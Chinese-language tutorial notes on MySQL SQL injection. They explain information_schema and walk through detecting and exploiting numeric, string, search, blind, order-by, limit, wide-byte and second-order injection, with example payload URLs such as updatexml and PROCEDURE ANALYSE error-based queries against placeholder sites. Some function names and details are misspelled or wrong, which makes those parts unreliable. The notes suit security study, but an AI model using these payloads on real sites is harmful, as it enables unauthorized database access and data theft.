原理:
SQL注入就是指web应用程序对用户输入数据的合法性没有判断,前端传入的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作
MYSQL 数据库特点:
Mysql 5.0之后 mysql在数据库中默认存放了一个information_schema 的数据库,在该数据库中,需要牢记三个表,分别是SCHEMATA、TABLES和COLUMNS
SCHEMATA:存储用户创建的所有数据库的库名,该表中数据库库名的字段为SCHEMA_NAME
TABLES:存储用户创建的所有的数据库库名和表名,在该表中的库名和表名分别为TBALE_SCHEMA和TAME_NAME
COLUMNS:存储用户创建的所有数据库的库名、表名、字段名,在该表中的数据库名、表名和字段名分别为TABLE_SCHEMA、TABLE_NAME和COLUMNS_NAME
mysql 查询语句
1.在不知道任何条件时
Select 要查询的字段名 from 库名.表名
2.在知道一条已知条件时
Select 要查询的字段名 from 库名.表名 where 已知条件字段名=‘已知条件值’
3.在知道两个条件时
Select 要查询的字段名 from 库名.表名 where 已知条件1的字段名=‘已知条件1的值’ and 已知条件2的字段名=‘已知条件2的值'
常用函数
database()
:当前网站使用的数据库。
Version()
:当前的mysql的版本
User()
:当前mysql的用户
order by 、limit 、Union
Mysql 有三种常用注释符:
-- 注意,这种注释符后边有一个空格
通过#进行注释
/* */ 注释掉符号内的内容
因此,构造语句为:select * from table where name =’admin’ and ‘1’=‘1
可成功执行返回结果正确;
常见类型测试
1.数字型注入
Select * from admin where id=3
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1) 加单引号,id=3’
对应的sql:select * from table where id=3’
这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1
语句执行正常,与原始页面如任何差异;
(3) 加and 1=2,id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2
语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
正常的查询语句
www.xxx.com?id=3' union select 字段名 from 库名.表名
2.字符型注入
select * from table where name=’admin’
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
测试步骤:
(1) 加单引号:select * from table where name=’admin’’
由于加单引号后变成三个单引号,则无法执行,程序会报错;
(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’
,也无法进行注入,还需要通过注释符号将其绕过;
(3) 加and 1=2— 此时sql语句为:select * from table where name=’admin’ and ‘1’='2
则会报错
如果满足以上三点,可以判断该url为字符型注入。
www.xxx.com?id=3' union select 字段名 from 库名.表名#
3.搜索型注入
select * from 表名 where 字段 like '%关键字%' and '%1%'='%1%’
主要是指在数据搜索时没有过滤搜索参数,一般在链接地址中有 "keyword=“关键字””,
测试步骤:
(1).加%’ and 1=1%23
Select * from 表名 where 字段 like’%关键字%’ and 1=1%23 正常
(2).加%’ and 1=2%23
select* from 表名 where 字段 like’%关键字%’ and 1=2%23 报错
满足上述条件可以判断存在搜索注入
www.xxx.com?id=3%' union select 字段名 from 库名.表名#
4.盲注
基于布尔型:返回true或false
基于时间盲注:sleep()延时盲注
http://web.com.cn/sqli4.php?id=1
测试步骤:
(1).加单引号 '看到页面异常,但并没有返回异常结果
(2).加 and 1=1 页面正常
(3).加 and 1=2 页面异常如1中所示
因此,这里可以判断出正确是返回数据,异常时无回显,所以为bool 型盲注。
盲注所需函数如下:
-
ascii(str)
: str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。 -
substr(str,start,len)
: 这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。 -
length(str)
: 这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。 -
count([column])
: 这个函数大家应该很熟,用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。
-if(condition,a,b): 当condition为true的时候,返回a,当condition为false的时候,返回b。
5.order by 注入
Select *from users order by id;
Select *from users order by id desc;
其中select * from users order by id desc;
注入参数在order by语句后的注入,添加单引号’ 可以看到数据库返回错误信息
Order by 与 报错
报错函数
updatexml(),if(),sleep(),extractvalue()……
updatexml()
函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:
XML_document
是String格式,为XML文档对象的名称,文中为Doc第二个参数:
XPath_string
(Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。-
第三个参数:
new_value
,String格式,替换查找到的符合条件的数据作用:改变文档中符合条件的节点的值
改变XML_document
中符合XPATH_string
的值
而我们的注入语句为
updarexml(1,concat(0x7e,(select user()),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合 XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY) :XPATH syntax error:’: root@localhost ')))
因此最终的查询
Https://www.xxx.com.cn/sqli5.php?order=updatexml(1,concat(0x7e,select database(),0x7e),1)
6.limit 注入
一般实际过程中使用 limit 时,大概有两种情况,一种使用order by,一种就是不使用 order by关键字
-
不存在 order by 关键字
执行语句select id from users limit 0,1
这种情况下的 limit 后面可以使用union进行联合查询注入
执行语句select id from users limit 0,1 union select username from users;
-
存在 order by 关键字
执行语句select id from users order by id desc limit 0,1;
这时候在执行union 会报错。(Select id from users by id desc limit 0,1 union select username from users;
)
5.0.0< MySQL <5.6.6版本中
limit
关键字后面还可跟PROCEDURE
和 INTO
两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此一般使用PROCEDURE进行注入。
ANALYSE支持两个参数,首先尝试一下默认两个参数
添加 procddure analyse(1,1)
对analyse的第一个参数进行报错,查看mysql 版本信息
http://www.xxx.com.cn/sqli6.php?limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
如上返回数据库信息,接下来可以自行查找数据库内容。
7.宽字节注入
SELECT * FROM news WHERE tid='{$id}'
Web应用在防御过程中因数据库的字符集转换引发单引号逃逸,由此产生的SQL注入
php 使用php_escape_shell_cmd
这个函数来转义命令行字符串时是作为单字节处理的 而当操作系统设置了GBK、EUC-KR、SJIS等宽字节字符集时候,将这些命令行字符串传递给MySQL处理时是作为多字节处理的
以GBK字符集为例,GBK编码范围为:高位0x81-0xFE,低位为0x40-0x7E和0xA1-0xFE。在GBK中,一个中文占用两个字节,如国字的GBK编码为%B9%FA。
%df%27---> %df%5c%27--->運%27
测试步骤:
添加%df’: Http://www.xxx.com.cn/sqli7.php?id=1%df’
如上回显可以看到单引号逃逸成功,符合sql 语句。
测试步骤:
1.http://www.xxx.com.cn/sqli7.php?id=1%df' and 1=1%23
正常
2.http://www.xxx.com.cn/sqli7.php?id=1%df' and 1=2%23
报错
所以存在注入
因此可以使用union 联合查询数据库版本
8.二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入可以分为两步:
-
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。 -
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
Select *from user where username=‘name’ password=‘password’
Select count(A) from user where realname=‘realname’
参考文献:
order by 注入:https://www.jianshu.com/p/fcae21926e5c
Limit 注入: https://www.jianshu.com/p/6c1420a7a7d9
宽字节注入: https://www.jianshu.com/p/4fe931da9550
常见绕过方式:https://www.cnblogs.com/Vinson404/p/7253255.html